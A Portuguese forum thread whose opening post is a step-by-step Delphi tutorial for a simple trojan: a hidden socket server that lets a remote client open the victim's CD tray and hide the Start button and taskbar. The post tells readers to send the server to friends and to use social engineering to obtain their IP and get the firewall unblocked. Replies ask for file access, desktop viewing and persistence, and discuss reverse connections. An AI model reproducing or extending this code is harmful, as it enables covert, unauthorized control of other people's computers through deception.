Criando Um Trojan(Simples)

[ByGrandaO 0]

Bom acho muito legal fazer viruszinhos hauHAUhauHAUha entaum vo ensina o pouco q aprendi...(logico ñ é um virus senestro^^ mas da pra brincar com os amigos). Esse tuto se divide em 2 partes o Cliente e o Server.

 

vamos comessar pelo Cliente

 

1° tendo o delphi 7, vc vai precisar instalar o componeNte SOCKET pra isso vá no menu component>install packages na janela q vai abrir click em add no diretorio onde esta seu delphi ex. c:\arquivos de programas\borland\delphi7\bin, procure por dclsockets70.bpl e click em ok.

 

2° Crie um novo projeto no delphi adicione o componente clientesocket na aba internet, na aba standart adicione 8 botoes organize os botoes como kiser. Adicione tambem um edit .

 

3° Na propriedade caption do button1 escreva conectar < esse botao vai se conectar ao pc do seu amigo

Na propriedade caption do button2 escreva desconectar < esse vai se desconectar

Na propriedade caption do button3 escreva open cd <como o nome diz vai abrir o cd rom

Na propriedade caption do button4 escreva close cd <fecha cd rom

Na propriedade caption do button5 escreva hide iniciar < oculta o iniciar

Na propriedade caption do button6 escreva show iniciar <mostra o iniciar

Na propriedade caption do button7 escreva hide barra < oculta a barra de tarefas

Na propriedade caption do button8 escreva show barra< mostra a barra

Na propriedade text do edit1 apague o q esta ecrido e deixe em branco

 

4° de 2 clicks no botao conectar e escreva

 

clientsocket1.Host:=edit1.Text; //essa parte vai definir o ip da pessoa q vc vai se conectar

clientsocket1.Port:= 1; // essa a porta q eu pus 1

clientsocket1.Active:= true; // e essa vai ativar o componente ClientSocket1

 

 

de 2 clicks no botao desconectar e escreva

 

clientsocket1.active:=False; // isso vai desligar o clientsocket1 ou seja desconectar.

clientsocket1.close;

 

de 2 clicks no botao open cd e escreva

clientsocket1.Socket.SendText('1'); // vai enviar o texto 1 para o server mais tarde vcs vao enterder pra q isso.

 

de 2 clicks no botao close cd escreva

clientsocket1.Socket.SendText('2');

 

de 2 clicks no botao hide iniciar

clientsocket1.Socket.SendText('3');

 

de 2 clicks no botao show iniciar

clientsocket1.Socket.SendText('4');

 

de 2 clicks no botao hide barra

clientsocket1.Socket.SendText('5');

 

de 2 clicks no botao show barra

clientsocket1.Socket.SendText('6');

 

5° selecione o componente clientsocket1 e no object inspetor na aba events de 2 clicks no evento OnConect e escreva

 

button1.caption:='Conectado';

button1.enabled:=false;

 

de 2 clicks no evento OnDisconnect e escreva

 

button1.caption:='conectar';

button1.enabled:=true;

 

va no menu file e em save all e salve o project.dpr como client.dpr

depois va no menu project e click em compile project ele será salvo na pasta onde vc salvo o projeto.

 

Segunda parte O Server

 

1° crie um novo projeto e adicione o componente serversocket na aba internet, e com o serversocket1 selecionado no object inspetor renomeie sua propriedade name para SS e a propriedade port para 1.

 

2 ° selecione o componet Serversocket 1 (SS) e e no object inspetor nas propriedades dele troque o active q ta False para True

 

3° selecione o component serversocket1 (agora ele estara com o nome de SS) e no object inspetor na aba event no evento OnClientRead de 2 clicks e apague o begin q ta escrito acima e cole isto:

 

var

ByGrandao : String;

taskbarhandle,

buttonhandle : HWND;

wndHandle : THandle;

wndClass : array[0..50] of Char;

 

begin

StrPCopy(@wndClass[0],'Shell_TrayWnd');

wndHandle := FindWindow(@wndClass[0], nil);

 

taskbarhandle := FindWindow('Shell_TrayWnd', nil);

buttonhandle := GetWindow(taskbarhandle, GW_CHILD);

 

ByGrandao := Socket.ReceiveText;

if ByGrandao = '1' then

MciSendString('Set CdAudio Door Open',nil,0,Handle)

else if ByGrandao = '2' then

MciSendString('Set CdAudio Door Closed',nil,0,Handle)

else if ByGrandao = '3' then

ShowWindow(buttonhandle, SW_HIDE)

else if ByGrandao = '4' then

ShowWindow(buttonhandle, SW_RESTORE);

if ByGrandao = '5' then

ShowWindow(wndHandle, SW_HIDE)

else if ByGrandao = '6' then

ShowWindow(wndHandle, SW_RESTORE);

end;

 

4° va no menu project > view source e vai aparcer isto:

 

uses

Forms,

Unit1 in 'Unit1.pas' {Form1};

 

{$R *.res}

 

begin

Application.Initialize;

Application.CreateForm(TForm1, Form1);

Application.Run;

end.

 

e debaixo de Application.CreateForm(TForm1, Form1);

cole application.ShowMainForm:=False;

 

deve ficar assim:

uses

Forms,

Unit1 in 'Unit1.pas' {Form1};

 

{$R *.res}

 

begin

Application.Initialize;

Application.CreateForm(TForm1, Form1);

application.ShowMainForm:=False;

Application.Run;

end.

 

5° la no inicio da Unit1 deve estar assim:

 

unit Unit1;

 

interface

 

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, ScktComp;

 

vc deve por isto MMSystem depois de ScktComp; ficando assim:

unit Unit1;

 

interface

 

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, ScktComp, MMSystem;

 

 

pronto salve e faça o teste abra o server e o cliente. No cliente no local editavel, (o edit1) escreva 127.0.0.1 e click em conectar depois disso aperte no botao open cd e nos outros pra ver se funfo ou se vc fez algo errado. Se funfar direitim mande o server para o seu amigo e use a "engenharia social" para ele te dar o IP dele ou pegue pelo msn mais facil, depois é só se divertir.

 

OBs: o server vai pedir pra desblockiar o firewall... então mais uma vez use a "engenharia social".

 

Com um pouco mais de criatividade pode se fazer um trojan com conexão reversa assim vc n precisara pegar o IP de seu amigo nem vai pedir pra desblockia o firewall.

 

Edit

 

Aki ta o link pra quem kiser baixa o aplicativo e o source

 

RapidShare: Easy Filehosting

[pinsdorf 32]

n nasci pra faze vírus.... n consegui e olha q o cara ta falando q esse é o simples oOoOoO

[shenow 7]

Acho que seria bom também se postasse a source do programa para aqueles que não conseguiram..

[ByGrandaO 0]

ok.. depois posto o source e o aplicativo pra vcs mas esse tuto e facil.... é só pega o jeito de delphi q vcs conseguem.

[Spycker 0]

Ja fiz esse trojan, bem facinho pelo tutorial, eh soh ir seguindo:D

 

Mas não gosto mais desse tipo de programa!!!

Passei dessa fase:D

[ByGrandaO 0]

lol entaum oq vc gosta de programar?

[dinolima 0]

Cara ficou muito bom!!!!!!!!!! ja estou usando e zuando com meus amigos, mais seria melhor ainda se vc colocasse mais opçoes ainda.rsrsrs, tipo enviar msg,ter acesso as pastas do pc da vitima,ver area de trab, etc... rsrsrsr, se vc poder acrecentar mais alguma coisa ai vlw!! parabens muito bom seu totu! abçs

[liorial2 0]

Use a engenharia reversa, fassa o cliente conectar no servidor(seu) por meio de uma DNS entao vc nem precisa do ip, e melhora pois muitas vezes vc nao consegue o ip pelo msn. Olha se eu tiver um tempo, paciencia e memoria(lembrar) eu crio e ja fasso um tuto.

[dinolima 0]

Mia uma vez venho aki para aprender mais alguma coisas com vcs! fiz seu trojan foncionou direitinho, mais nao so serve pra usar uma vez, pois toda vez q eu qro zuar meus amigos eu tenho q enviar o serve denovo, alguem pode me ajudar? agradecido..

[B1rrug4 0]

Use a engenharia reversa, fassa o cliente conectar no servidor(seu) por meio de uma DNS entao vc nem precisa do ip, e melhora pois muitas vezes vc nao consegue o ip pelo msn. Olha se eu tiver um tempo, paciencia e memoria(lembrar) eu crio e ja fasso um tuto.

 

não seria conexão reversa? engenharia reversa é do gênero de reengenharia como engenharia de software

 

e a proposito, tutorial muito bom, vou testar...